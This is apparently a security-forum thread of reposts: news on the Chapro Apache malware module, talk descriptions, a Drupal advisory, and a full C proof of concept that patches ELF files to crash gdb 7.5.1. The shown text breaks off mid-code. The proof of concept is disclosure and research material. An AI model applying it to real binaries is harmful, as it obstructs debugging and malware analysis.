Nytro

In weekend vedem ce facem si cu IP-urile.

Iti faci un cont nou adica. Procedura se cheama "register".

[h=1]New Apache Exploit Doling Out Zeus, Sweet Orange Exploit Kit[/h]by Christopher Brook A new Apache module, Linux/Chapro.A, is making the rounds, injecting malicious content including a popular Zeus variant into web pages. The module was discussed in a blog on ESET’s Threat Blog by the company’s Security intelligence Program Manager, Pierre-Marc Bureau. According to the post, an iframe injection ultimately installs a version of Zeus, Win32/Zbot, but also points to a Lithuanian Sweet Orange exploit kit landing page. The final Zeus payload targets users who frequent European and Russian banking foundations and tries to swindle unsuspecting victims into giving up their account information, including their PIN code and CVV code information. The module also has a stealthy defense component, making it harder for system administrators to find the module during malware scans. The module only serves up malicious content under the right conditions. Linux/Chapro.A checks active SSH sessions on the Linux system its running but doesn’t deploy malware if a user is on a website using any of the SSH connected IPs. Linux/Chapro.A also only serves up its malware once, electing not to deploy it if a browser has already been infected, visited a malicious site or has been served a cookie. “If a user visits an infected website twice from the same IP address; it will only receive the malicious content once. This provides a second, additional method to make the path of infection more difficult to determine,” reads ESET’s write-up. The security firm adds that given the spread of the attack and its poor detection rates, it’s “very hard for law enforcement agencies to investigate and mitigate,” hinting that the module’s creators may have collaborated with another group to popularize the exploit kit only to sell the infected computers to a group running a Win32/Zbot botnet. Sursa: New Apache Exploit Doling Out Zeus, Sweet Orange Exploit Kit | threatpost

Cracking Wpa/Wpa2 Personal And Enterprise For Fun And Profit Description: Vivek Ramachandran is a Wireless Security expert. He is the author of the books – “Wireless Penetration Testing using Backtrack” and “The Metasploit Megaprimer”, both up for worldwide release in 2011. Founder of SecurityTube.net. Vivek Ramachandran started working on Wi-Fi Security since 2003. He has spoken at conferences such as Defcon and Toorcon on Wireless Security and is the discoverer of the Caffe Latte attack. He also broke WEP Cloaking, a WEP protection schema in 2007 publically at Defcon. Vivek is the author of the book "Wireless Penetration Testing using BackTrack 5" due for release in August 2011. He was one of the programmers of the 802.1x protocol and Port Security in Cisco's 6500 Catalyst series of switches. He was one of the winners of Microsoft Security Shootout contest held in India among a reported 65,000 participants. He is best known in the hacker community as the founder of SecurityTube.net where he routinely posts videos on Wi-Fi Security, Assembly Language, Exploitation Techniques etc. SecurityTube.net gets over 100,000 unique visitors a month. Vivek's work on wireless security has been quoted in BBC online, InfoWorld, MacWorld, The Register, IT World Canada etc. places. This year he is either speaking or training at Blackhat, Defcon, Hacktivity, 44con, HITB-ML, Brucon, Derbycon, HashDays, SecurityByte and MIT, Boston. PDF : - https://hacktivity.com/en/downloads/archives/169/ Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Cracking Wpa/Wpa2 Personal And Enterprise For Fun And Profit

Zombie Browsers, Spiced With Rootkit Extensions Description: His main experts are Security Monitoring, Database Security, Penetration Testing. One of Zoltán's hobbies is to solve and create hacking challenges. Zoltán currently works for Deloitte Hungary as a member of IT security team. His main competences are penetration testing, security monitoring and database security. Zoltán Balázs graduated at the Budapest University of Technology and Economics, finishing the Security of Infocommunication Systems special in 2006. Worked for some months at Citigroup Threat Assessment Center as IT Security Analyst. From 2006-2010 he worked as an IT Security Expert at Erste Bank Hungary, and from 2010 he works as an IT Security team leader, still at Erste. His main experts are Security Monitoring, Database Security, Penetration Testing. One of Zoltán's hobbies is to solve and create hacking challenges. On ITSEC conferences he likes to present about malwares, IPv6, pass-the-hash, browser malwares. PDF : - https://hacktivity.com/en/downloads/archives/179/ Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Zombie Browsers, Spiced With Rootkit Extensions

The Rise And Fall Of Ddos Attacks In 2012 Description: PDF : - https://hacktivity.com/en/downloads/archives/191/ Steve has been working for networking manufacturers for over 25 years and has specialised in Security Vendors for the past 15 years. He has held senior position in Ascend Communications, Zhone Technologies, Arbor Networks, Sandvine and Redseal Networks. His experience of working both with the Service providers and Enterprise gives him a unique view of the different requirements in not only securing networks but also in offering security services to the market. He has sat on many technical review boards including Cisco Networkers and has been involved in many presentations and consultancy within the academic community. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: The Rise And Fall Of Ddos Attacks In 2012

Backtrack 5 R3 Forensic :- Recoverjpg http://www.youtube.com/watch?feature=player_embedded&v=JBzE-m-1FOw Description: Recoverjpeg is used to recover JFIF (JPEG) pictures and MOV movies from a peripheral. some times when we overwrite a partition by mistake or if the memory card of a device such as a digital camera get spoiled, this tool is very useful to recover data. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Backtrack 5 R3 Forensic :- Recoverjpg - YouTube Sursa: http://www.securitytube.net/video/6423?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SecurityTube+%28SecurityTube. Net%29

Drupal Core 6.x / 7.x Access Bypass / Code Execution Authored by Derek Wright, Damien Tournoud, Simon Rycroft | Site drupal.org Drupal core versions 6.x and 7.x suffer from access bypass and arbitrary PHP code execution vulnerabilities. View online: http://drupal.org/SA-CORE-2012-004 * Advisory ID: DRUPAL-SA-CORE-2012-004 * Project: Drupal core [1] * Version: 6.x, 7.x * Date: 2012-December-19 * Security risk: Moderately critical [2] * Exploitable from: Remote * Vulnerability: Access bypass, Arbitrary PHP code execution -------- DESCRIPTION --------------------------------------------------------- Multiple vulnerabilities were fixed in the supported Drupal core versions 6 and 7. .... Access bypass (User module search - Drupal 6 and 7) A vulnerability was identified that allows blocked users to appear in user search results, even when the search results are viewed by unprivileged users. This vulnerability is mitigated by the fact that the default Drupal core user search results only display usernames (and disclosure of usernames is not considered a security vulnerability [3]). However, since modules or themes may override the search results to display more information from each user's profile, this could result in additional information about blocked users being disclosed on some sites. CVE: Requested. .... Access bypass (Upload module - Drupal 6) A vulnerability was identified that allows information about uploaded files to be displayed in RSS feeds and search results to users that do not have the "view uploaded files" permission. This issue affects Drupal 6 only. CVE: Requested. .... Arbitrary PHP code execution (File upload modules - Drupal 6 and 7) Drupal core's file upload feature blocks the upload of many files that can be executed on the server by munging the filename. A malicious user could name a file in a manner that bypasses this munging of the filename in Drupal's input validation. This vulnerability is mitigated by several factors: The attacker would need the permission to upload a file to the server. Certain combinations of PHP and filesystems are not vulnerable to this issue, though we did not perform an exhaustive review of the supported PHP versions. Finally: the server would need to allow execution of files in the uploads directory. Drupal core has protected against this with a .htaccess file protection in place from SA-2006-006 - Drupal Core - Execution of arbitrary files in certain Apache configurations [4]. Users of IIS should consider updating their web.config [5]. Users of Nginx should confirm that only the index.php and other known good scripts are executable. Users of other webservers should review their configuration to ensure the goals are achieved in some other way. CVE: Requested. -------- CVE IDENTIFIER(S) ISSUED -------------------------------------------- * /A CVE identifier [6] will be requested, and added upon issuance, in accordance with Drupal Security Team processes./ -------- VERSIONS AFFECTED --------------------------------------------------- * Drupal core 6.x versions prior to 6.27. * Drupal core 7.x versions prior to 7.18. -------- SOLUTION ------------------------------------------------------------ Install the latest version: * If you use Drupal 6.x, upgrade to Drupal core 6.27 [7]. * If you use Drupal 7.x, upgrade to Drupal core 7.18 [8]. Also see the Drupal core [9] project page. -------- REPORTED BY --------------------------------------------------------- * The access bypass issue in the User module search results was reported by Derek Wright [10] of the Drupal Security Team. * The access bypass issue in the Drupal 6 Upload module was reported by Simon Rycroft [11], and by Damien Tournoud [12] of the Drupal Security Team. * The arbitrary code execution issue was reported by Amit Asaravala [13]. -------- FIXED BY ------------------------------------------------------------ * The access bypass issue in the User module search results was fixed by Derek Wright [14], Ivo Van Geertruyen [15], Peter Wolanin [16], and David Rothstein [17], all members of the Drupal Security Team. * The access bypass issue in the Drupal 6 Upload module was fixed by Michaël Dupont [18], and by Fox [19] and David Rothstein [20] of the Drupal Security Team. * The arbitrary code execution issue was fixed by Nathan Haug [21] and Justin Klein-Keane [22], and by John Morahan [23] and Greg Knaddison [24] of the Drupal Security team. -------- COORDINATED BY ------------------------------------------------------ * Jeremy Thorson [25] QA/Testing infrastructure * Ben Jeavons [26] of the Drupal Security Team * David Rothstein [27] of the Drupal Security Team * Gábor Hojtsy [28] of the Drupal Security Team * Greg Knaddison [29] of the Drupal Security Team * Fox [30] of the Drupal Security Team -------- CONTACT AND MORE INFORMATION ---------------------------------------- The Drupal security team can be reached at security at drupal.org or via the contact form at http://drupal.org/contact [31]. Learn more about the Drupal Security team and their policies [32], writing secure code for Drupal [33], and securing your site [34]. [1] http://drupal.org/project/drupal [2] http://drupal.org/security-team/risk-levels [3] http://drupal.org/node/1004778 [4] http://drupal.org/node/65409 [5] http://drupal.org/node/1543392 [6] http://cve.mitre.org/ [7] http://drupal.org/drupal-6.27-release-notes [8] http://drupal.org/drupal-7.18-release-notes [9] http://drupal.org/project/drupal [10] http://drupal.org/user/46549 [11] http://drupal.org/user/151544 [12] http://drupal.org/user/22211 [13] http://drupal.org/user/181407 [14] http://drupal.org/user/46549 [15] http://drupal.org/user/383424 [16] http://drupal.org/user/49851 [17] http://drupal.org/user/124982 [18] http://drupal.org/user/400288 [19] http://drupal.org/user/426416 [20] http://drupal.org/user/124982 [21] http://drupal.org/user/35821 [22] http://drupal.org/user/302225 [23] http://drupal.org/user/58170 [24] http://drupal.org/user/36762 [25] http://drupal.org/user/148199 [26] http://drupal.org/user/91990 [27] http://drupal.org/user/124982 [28] http://drupal.org/user/4166 [29] http://drupal.org/user/36762 [30] http://drupal.org/user/426416 [31] http://drupal.org/contact [32] http://drupal.org/security-team [33] http://drupal.org/writing-secure-code [34] http://drupal.org/security/secure-configuration Sursa: Drupal Core 6.x / 7.x Access Bypass / Code Execution ? Packet Storm

GNU Debugger 7.5.1 NULL Pointer Dereference Authored by nitr0us gdb (GNU debugger) versions 7.5.1 and below ELF anti-debugging / reversing patcher that causes a NULL pointer dereference to trigger. /* * * gdb (GNU debugger) <= 7.5.1 (crash due a NULL pointer dereference) * ELF anti-debugging/reversing patcher * * Published @ IOActive Labs Research blog: * http://blog.ioactive.com/2012/12/striking-back-gdb-and-ida-debuggers.html * * - nitr0us [ http://twitter.com/nitr0usmx ] * * Tested under: * GNU gdb 7.5.1 (OpenBSD 5.2 i386 [Compiled from sources]) * GNU gdb 7.5 (OpenBSD 5.2 i386 [Compiled from sources]) * GNU gdb 7.5 (Ubuntu Server 12.04 [Compiled from sources]) * GNU gdb 7.4.1 (OpenBSD 5.2 i386) * GNU gdb 7.4-2012.04 (Ubuntu Server 12.04) * GNU gdb 7.2-50.el6 (CentOS Linux) * GNU gdb 6.7.1 (Gentoo Linux) * * Bug found using Frixyon fuzzer (my ELF file format fuzzer still in development) * * Timeline: * 12/11/2012 The bug was found on GNU gdb 7.5 * 19/11/2012 The bug was reported through the official GNU gdb.s bug tracker: http://sourceware.org/bugzilla/show_bug.cgi?id=14855 * 10/12/2012 Retested with the latest release (7.5.1), which still has the bug * 12/12/2012 The status on the tracker is still "NEW" * **************** TECHNICAL DETAILS *********************** In gdb-7.5.1/gdb/dwarf2read.c is the following data structure: struct line_header { ... unsigned int num_include_dirs, include_dirs_size; char **include_dirs; ... struct file_entry { char *name; unsigned int dir_index; unsigned int mod_time; unsigned int length; ... } *file_names; } The problem exists when trying to open a malformed ELF that contains a file_entry.dir_index > 0 and char **include_dirs pointing to NULL. After patching an ELF file with this code, the following happens: (gdb) r -q ./evil_exploit Program received signal SIGSEGV, Segmentation fault. 0x081e87bd in psymtab_include_file_name (lh=0x8594420, file_index=0, pst=0x8583650, comp_dir=0x858362c "/home/nitr0us") at dwarf2read.c:13969 13970 dir_name = lh->include_dirs[fe.dir_index - 1]; (gdb) p/x fe $1 = {name = 0x8583718, dir_index = 0xf, mod_time = 0x0, length = 0x0, included_p = 0x1, symtab = 0x0} (gdb) p lh->include_dirs $2 = (char **) 0x0 (gdb) x/i $eip => 0x81e87bd <psymtab_include_file_name+111>: mov (%eax),%eax (gdb) i r $eax eax 0x38 56 The root cause of the problem is that there's no validation to verify if include_dirs is different from NULL before referencing it. ********************************************************** * * [Compilation] $ gcc gdb_751_elf_shield.c -o gdb_751_elf_shield -Wall * * Sh0utz: IOActive fellows, CRAc, b33rc0n crew (dex, hkm, calderpwn, * Carlos Ayala, Daemon, LightOS) chr1x, alt3kx, tr3w, crypkey, * el_chito, nahual, beck, sirdarkcat, NataS, ran, Fede Bossi, * nediam, psymera, Rolman, Kbrown, Bucio, p4dm3, Hector Lopez, zeus, * Matias Brutti, sunl3vy, Raaka_elgaupo, vendetta, raito, beavis, * el5patas, vi0let. * * * http://chatsubo-labs.blogspot.com * http://www.brainoverflow.org * */ #include <sys/mman.h> #include <sys/stat.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdio.h> #include <fcntl.h> #if defined(__OpenBSD__) || defined(__NetBSD__) || defined(__FreeBSD__) #include <sys/exec_elf.h> #else #include <elf.h> #endif /* * The next payload is based on the 'struct line_header' * defined in gdb-7.5.1/gdb/dwarf2read.c * * The fields are put in little-endian (LSB) */ const char dwarf_line_header[] = { 0x32, 0x00, 0x00, 0x00, // unsigned int total_length; 0x02, 0x00, // unsigned short version; 0x1c, 0x00, 0x00, 0x00, // unsigned int header_length; 0x01, // unsigned char minimum_instruction_length; 0x01, // unsigned char maximum_ops_per_instruction; 0xfb, // int line_base; in runtime = 0xfffffffb, however, in file system it's only one byte o_O? 0x0e, // unsigned char line_range; 0x0d, // unsigned char opcode_base; 'N' , '1' , '7' , 'R' , '0' , // Useless to trigger the bug 0xDE, 0xAD, 0xBA, 0xBE, // Useless to trigger the bug 0x31, 0x33, 0x70, // Useless to trigger the bug 0x00, // (KILLER BYTE) char **include_dirs; This will expand to a NULL pointer 0x00000000 'C' , 'R' , '4' , '5' , 'H' , 0x00, // file_entry->name 0x31, // (KILLER BYTE) file_entry->dir_index; dwarf_line_header->include_dirs[file_entry.dir_index - 1]; SIGSEGV ! 0x33, // file_entry->mod_time; 0x70, // file_entry->length; 0x00, 0x00, 0x05, 0x02, // Couldn't detect where exactly are loaded in memory at runtime 0xd4, 0x83, 0x04, 0x08, // . . . 0x15, 0x91, 0xbc, 0x59, // . . . 0x02, 0x02, 0x00, 0x01, // . . . 0x01, // Couldn't detect where exactly are loaded in memory at runtime }; /* * The next ELF sections are necessary to crash gdb. * They were taken from a normal ELF file compiled with -ggdb * $objdump -s -j .debug_xxx ./a.out */ char debug_info[] = { 0x87, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x3b, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 0xd4, 0x83, 0x04, 0x08, 0xf0, 0x83, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x02, 0x04, 0x07, 0x2e, 0x00, 0x00, 0x00, 0x02, 0x01, 0x08, 0x47, 0x00, 0x00, 0x00, 0x02, 0x02, 0x07, 0x07, 0x00, 0x00, 0x00, 0x02, 0x04, 0x07, 0x29, 0x00, 0x00, 0x00, 0x02, 0x01, 0x06, 0x49, 0x00, 0x00, 0x00, 0x02, 0x02, 0x05, 0x1a, 0x00, 0x00, 0x00, 0x03, 0x04, 0x05, 0x69, 0x6e, 0x74, 0x00, 0x02, 0x08, 0x05, 0x68, 0x00, 0x00, 0x00, 0x02, 0x08, 0x07, 0x24, 0x00, 0x00, 0x00, 0x02, 0x04, 0x05, 0x6d, 0x00, 0x00, 0x00, 0x02, 0x01, 0x06, 0x50, 0x00, 0x00, 0x00, 0x04, 0x01, 0x63, 0x00, 0x00, 0x00, 0x01, 0x03, 0x4f, 0x00, 0x00, 0x00, 0xd4, 0x83, 0x04, 0x08, 0xf0, 0x83, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00 }; char debug_abbrev[] = { 0x01, 0x11, 0x01, 0x25, 0x0e, 0x13, 0x0b, 0x03, 0x0e, 0x1b, 0x0e, 0x11, 0x01, 0x12, 0x01, 0x10, 0x06, 0x00, 0x00, 0x02, 0x24, 0x00, 0x0b, 0x0b, 0x3e, 0x0b, 0x03, 0x0e, 0x00, 0x00, 0x03, 0x24, 0x00, 0x0b, 0x0b, 0x3e, 0x0b, 0x03, 0x08, 0x00, 0x00, 0x04, 0x2e, 0x00, 0x3f, 0x0c, 0x03, 0x0e, 0x3a, 0x0b, 0x3b, 0x0b, 0x49, 0x13, 0x11, 0x01, 0x12, 0x01, 0x40, 0x06, 0x00, 0x00, 0x00 }; char debug_str[] = { 0x65, 0x76, 0x69, 0x6c, 0x2e, 0x63, 0x00, 0x73, 0x68, 0x6f, 0x72, 0x74, 0x20, 0x75, 0x6e, 0x73, 0x69, 0x67, 0x6e, 0x65, 0x64, 0x20, 0x69, 0x6e, 0x74, 0x00, 0x73, 0x68, 0x6f, 0x72, 0x74, 0x20, 0x69, 0x6e, 0x74, 0x00, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x75, 0x6e, 0x73, 0x69, 0x67, 0x6e, 0x65, 0x64, 0x20, 0x69, 0x6e, 0x74, 0x00, 0x47, 0x4e, 0x55, 0x20, 0x43, 0x20, 0x34, 0x2e, 0x36, 0x2e, 0x33, 0x00, 0x75, 0x6e, 0x73, 0x69, 0x67, 0x6e, 0x65, 0x64, 0x20, 0x63, 0x68, 0x61, 0x72, 0x00, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x6e, 0x69, 0x74, 0x72, 0x30, 0x75, 0x73, 0x00, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x69, 0x6e, 0x74, 0x00 }; /* Global vars & structs that'll used later */ Elf32_Ehdr *header; Elf32_Shdr *sht; // Section Header Table Elf32_Phdr *pht; // Program Header Table Elf32_Shdr *shstrtab_section; Elf32_Word s_debug_line_size = 0; Elf32_Word shstrtab_size = 0; Elf32_Off shstrtab_offset = 0; Elf32_Off debug_line_offset = 0; struct stat statinfo; // We'll use only st_size and st_mode char *elfptr; int fd, tmpfd, k; int isELF(int); Elf32_Off findDebugLineSection() { for(k = 0; k < header->e_shnum; k++, sht++) if(strcmp(elfptr + shstrtab_offset + sht->sh_name, ".debug_line") == 0){ s_debug_line_size = sht->sh_size; return sht->sh_offset; } return 0; } /* * This function will add the section '.debug_line' * with the payload inside. Also, it's necessary to * update some ELF metadata as well as to include some * extra Elf32_Shdr structures in the middle of the file. * * I solved this problem doing the following steps: * * 1.- Patch the .shstrtab (and .strtab) sections size, so * the names (strings at the end of the file) of the new appended * sections will be inside that sections (gdb checks for the offsets). * * 2.- Create 4 new Elf32_Shdr structures (.debug_line, .debug_info, * .debug_abbrev and .debug_str) which are necessary to crash gdb: * ->sh_name is a relative offset to shstrtab_section->sh_offset * So, it'll be pointing to statinfo.st_size - shstrtab_section->sh_offset * (it means that at the end of the file there will be the * string '.debug_line' (null terminated)). The same calculations for the * other 3 new sections added. * ->sh_offset is the absolute offset in file system, so it'll be * pointing to the end of the file. * ->sh_size will be obviously sizeof() each section content (payloads) * * 3.- Calculate the insertion point (offset in file system): * header->e_shoff + header->e_shnum * sizeof(Elf32_Shdr) * * 4.- Four Elf32_Shdr structured will be appended at the end of the * Section Header Table, so it means that for each program header * who's segment is after the insertion, its offset in file system has to * be updated to reflect the new position after insertion: * pht->p_offset += sizeof(Elf32_Shdr) * n_sections_to_inject; * Also update the header->e_phoff (in case it's after the injection point). * * 5.- Update the ELF header to account for 4 extra section headers: * ->header->e_shnum += n_sections_to_inject; * * 6.- Synchronize the ELF in file system with its corresponding * pointer in memory to reflect the previous changes (msync()). * Also close the file descriptor. * * 7.- Physically insert the Elf32_Shdr structures at the end * of the Section Header Table (insertion point calculated in the step 3). * After that, copy the rest of the file. * 8.- Insert the names of the new sections (strings '.debug_line', '.debug_info', * '.debug_abbrev' and '.debug_str') followed by its corresponding null byte. * * 9.- Finally, insert the payloads (dwarf_line_header[], debug_info[], debug_str[] * and debug_abbrev[]) * */ int addDebugLineSection() { unsigned int n_sections_to_inject = 4; // .debug_line (bogus data), .debug_info, .debug_abbrev and .debug_str unsigned int n_sections_names_len = strlen(".debug_str") + 1 + strlen(".debug_info") + 1 + strlen(".debug_line") + 1 + strlen(".debug_abbrev") + 1; // Step 1 shstrtab_section->sh_size = statinfo.st_size - shstrtab_offset + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len; printf("[+] Patching the size of \".shstrtab\" section to 0x%.4x\n", shstrtab_section->sh_size); sht = (Elf32_Shdr *) (elfptr + header->e_shoff); for(k = 0; k < header->e_shnum; k++, sht++) if(strcmp(elfptr + shstrtab_offset + sht->sh_name, ".strtab") == 0){ sht->sh_size = shstrtab_section->sh_size; printf("[+] Patching the size of \".strtab\" section to 0x%.4x as well (gdb also check this size)\n\n", sht->sh_size); break; } // Step 2 Elf32_Shdr debug_line_sechdr, debug_info_sechdr, debug_abbrev_sechdr, debug_str_sechdr; debug_line_sechdr.sh_type = debug_info_sechdr.sh_type = debug_abbrev_sechdr.sh_type = debug_str_sechdr.sh_type = 0x0001; debug_line_sechdr.sh_flags = debug_info_sechdr.sh_flags = debug_abbrev_sechdr.sh_flags = 0x0000; debug_str_sechdr.sh_flags = 0x0030; debug_line_sechdr.sh_addr = debug_info_sechdr.sh_addr = debug_abbrev_sechdr.sh_addr = debug_str_sechdr.sh_addr = 0x00000000; debug_line_sechdr.sh_link = debug_info_sechdr.sh_link = debug_abbrev_sechdr.sh_link = debug_str_sechdr.sh_link = 0x0000; debug_line_sechdr.sh_info = debug_info_sechdr.sh_info = debug_abbrev_sechdr.sh_info = debug_str_sechdr.sh_info = 0x0000; debug_line_sechdr.sh_addralign = debug_info_sechdr.sh_addralign = debug_abbrev_sechdr.sh_addralign = debug_str_sechdr.sh_addralign = 0x0001; debug_line_sechdr.sh_entsize = debug_info_sechdr.sh_entsize = debug_abbrev_sechdr.sh_entsize = debug_str_sechdr.sh_entsize = 0x0000; debug_line_sechdr.sh_size = sizeof(dwarf_line_header); debug_info_sechdr.sh_size = sizeof(debug_info); debug_str_sechdr.sh_size = sizeof(debug_str); debug_abbrev_sechdr.sh_size = sizeof(debug_abbrev); // Relative offsets to shstrtab_offset debug_line_sechdr.sh_name = statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset; debug_info_sechdr.sh_name = statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset + strlen(".debug_line") + 1; debug_str_sechdr.sh_name = statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset + strlen(".debug_line") + 1 + strlen(".debug_info") + 1; debug_abbrev_sechdr.sh_name = statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset + strlen(".debug_line") + 1 + strlen(".debug_info") + 1 + strlen(".debug_str") + 1; // Absolute offsets at the end of the file debug_line_sechdr.sh_offset = statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len; debug_info_sechdr.sh_offset = statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len + debug_line_sechdr.sh_size; debug_str_sechdr.sh_offset = statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len + debug_line_sechdr.sh_size + debug_info_sechdr.sh_size; debug_abbrev_sechdr.sh_offset = statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len + debug_line_sechdr.sh_size + debug_info_sechdr.sh_size + debug_str_sechdr.sh_size; // Step 3 Elf32_Off shdr_insertion_point = header->e_shoff + header->e_shnum * sizeof(Elf32_Shdr); printf(" [*] The insertion point will be at: 0x%.4x\n\n", shdr_insertion_point); // Step 4 pht = (Elf32_Phdr *) (elfptr + header->e_phoff); if(header->e_phoff >= shdr_insertion_point){ header->e_phoff += sizeof(Elf32_Shdr) * n_sections_to_inject; printf("[+] The Program Header Table is after the insertion point. Fixing p_offset to 0x%.4x\n", header->e_phoff); } else printf("[-] The Program Header Table is before the insertion point.\n"); for(k = 0; k < header->e_phnum; k++, pht++) if(pht->p_offset >= shdr_insertion_point){ pht->p_offset += sizeof(Elf32_Shdr) * n_sections_to_inject; printf("[+] The Program Header[ %d ] is after the insertion point. Fixing p_offset to 0x%.4x\n", k, pht->p_offset); } // Step 5 header->e_shnum += n_sections_to_inject; // Step 6 if(msync(elfptr, 0, MS_SYNC) == -1){ perror("msync"); return 0; } close(fd); // Step 7 if((tmpfd = creat("modified_elf.tmp", statinfo.st_mode)) == -1){ perror("creat"); return 0; } if(write(tmpfd, elfptr, shdr_insertion_point) == -1) return 0; printf("\n[+] Injecting the '.debug_line' Elf32_Shdr struct at the end of the Section Header Table...\n"); if(write(tmpfd, &debug_line_sechdr, sizeof(Elf32_Shdr)) == -1) return 0; printf("[+] Injecting the '.debug_info' Elf32_Shdr struct at the end of the Section Header Table...\n"); if(write(tmpfd, &debug_info_sechdr, sizeof(Elf32_Shdr)) == -1) return 0; printf("[+] Injecting the '.debug_str' Elf32_Shdr struct at the end of the Section Header Table...\n"); if(write(tmpfd, &debug_str_sechdr, sizeof(Elf32_Shdr)) == -1) return 0; printf("[+] Injecting the '.debug_abbrev' Elf32_Shdr struct at the end of the Section Header Table...\n\n"); if(write(tmpfd, &debug_abbrev_sechdr, sizeof(Elf32_Shdr)) == -1) return 0; // Copy the rest of the original file if(write(tmpfd, elfptr + shdr_insertion_point, statinfo.st_size - shdr_insertion_point) == -1) return 0; // Step 8 if(write(tmpfd, ".debug_line\0", strlen(".debug_line") + 1) == -1) return 0; if(write(tmpfd, ".debug_info\0", strlen(".debug_info") + 1) == -1) return 0; if(write(tmpfd, ".debug_str\0", strlen(".debug_str") + 1) == -1) return 0; if(write(tmpfd, ".debug_abbrev\0", strlen(".debug_abbrev") + 1) == -1) return 0; // Step 9 printf("[+] Injecting the malformed line header structure (payload) into the new created '.debug_line' section...\n"); if(write(tmpfd, dwarf_line_header, sizeof(dwarf_line_header)) == -1) return 0; printf("[+] Injecting the content of '.debug_info', '.debug_str' and '.debug_abbrev' sections...\n"); if(write(tmpfd, debug_info, sizeof(debug_info)) == -1) return 0; if(write(tmpfd, debug_str, sizeof(debug_str)) == -1) return 0; if(write(tmpfd, debug_abbrev, sizeof(debug_abbrev)) == -1) return 0; close(tmpfd); return 1; } int main(int argc, char **argv) { printf("##################################################\n"); printf("# #\n"); printf("# gdb (GNU debugger) <= 7.5.1 #\n"); printf("# (crash due a NULL pointer dereference) #\n"); printf("# #\n"); printf("# ELF anti-debugging/reversing patcher #\n"); printf("# -nitr0us- #\n"); printf("# #\n"); printf("##################################################\n\n"); if(argc < 2){ fprintf(stderr, "Usage: %s <elf_file_to_patch>\n", argv[0]); exit(-1); } if((fd = open(argv[1], O_RDWR)) == -1){ perror("open"); exit(-1); } if(!isELF(fd)){ close(fd); exit(-1); } if(fstat(fd, &statinfo) == -1){ perror("stat"); close(fd); exit(-1); } if((elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){ perror("mmap"); close(fd); exit(-1); } header = (Elf32_Ehdr *) (elfptr); if(header->e_shoff == 0){ fprintf(stderr, "[!] \"%s\" doesn't have a Section Header Table !\n", argv[1]); close(fd); munmap(elfptr, 0); exit(-1); } sht = (Elf32_Shdr *) (elfptr + header->e_shoff); printf(" [*] The ELF file originally has: %d (0x%.4x) bytes\n", (int) statinfo.st_size, (int) statinfo.st_size); printf("[-] Ehdr->e_shnum: %5d (0x%.4x)\n", header->e_shnum, header->e_shnum); printf("[-] Ehdr->e_shoff: %5d (0x%.4x)\n", header->e_shoff, header->e_shoff); printf("[-] Ehdr->e_shstrndx: %5d (0x%.4x)\n", header->e_shstrndx, header->e_shstrndx); // Find the Section Header corresponding to the // "Section Header String Table" to get the file offset from there shstrtab_section = (Elf32_Shdr *)(elfptr + header->e_shoff + header->e_shstrndx * sizeof(Elf32_Shdr)); if((shstrtab_size = shstrtab_section->sh_size) > 0) if(!(shstrtab_offset = shstrtab_section->sh_offset)){ fprintf(stderr, "[!] shstrtab_section->sh_offset is 0 (cero) !\n"); close(fd); munmap(elfptr, 0); exit(-1); } printf("[-] shstrtab_offset: %5d (0x%.4x)\n", (int) shstrtab_offset, (int) shstrtab_offset); printf("[-] shstrtab_size : %5d (0x%.4x)\n\n", (int) shstrtab_size, (int) shstrtab_size); printf(" [*] Looking for the '.debug_line' section...\n\n"); if(!(debug_line_offset = findDebugLineSection())){ printf("[-] '.debug_line' section was not found in the Section Header Table !\n"); printf(" [*] Adding the '.debug_line' with the payload inside\n\n"); if(!addDebugLineSection()){ fprintf(stderr, "[!] The '.debug_line' section couldn't be added. Sorry !\n\n"); close(fd); munmap(elfptr, 0); exit(-1); } printf("[+] The '.debug_line' section was added successfully with the payload inside\n\n"); if(rename("modified_elf.tmp", argv[1]) == -1) perror("rename"); } else { printf("[+] '.debug_line' section was found at offset %5d (0x%.4x) within the file\n", (int) debug_line_offset, (int) debug_line_offset); printf(" [*] '.debug_line' size = %5d bytes\n", (int) s_debug_line_size); if(s_debug_line_size < sizeof(dwarf_line_header)){ fprintf(stderr, "[!] '.debug_line' section is smaller than the payload to be injected (%d bytes)\n\n", (int) sizeof(dwarf_line_header)); exit(-1); } else printf(" [*] '.debug_line' section has enough space for the payload (%d bytes)\n\n", (int) sizeof(dwarf_line_header)); printf(" [*] Overwriting its content with the payload\n\n"); memcpy(elfptr 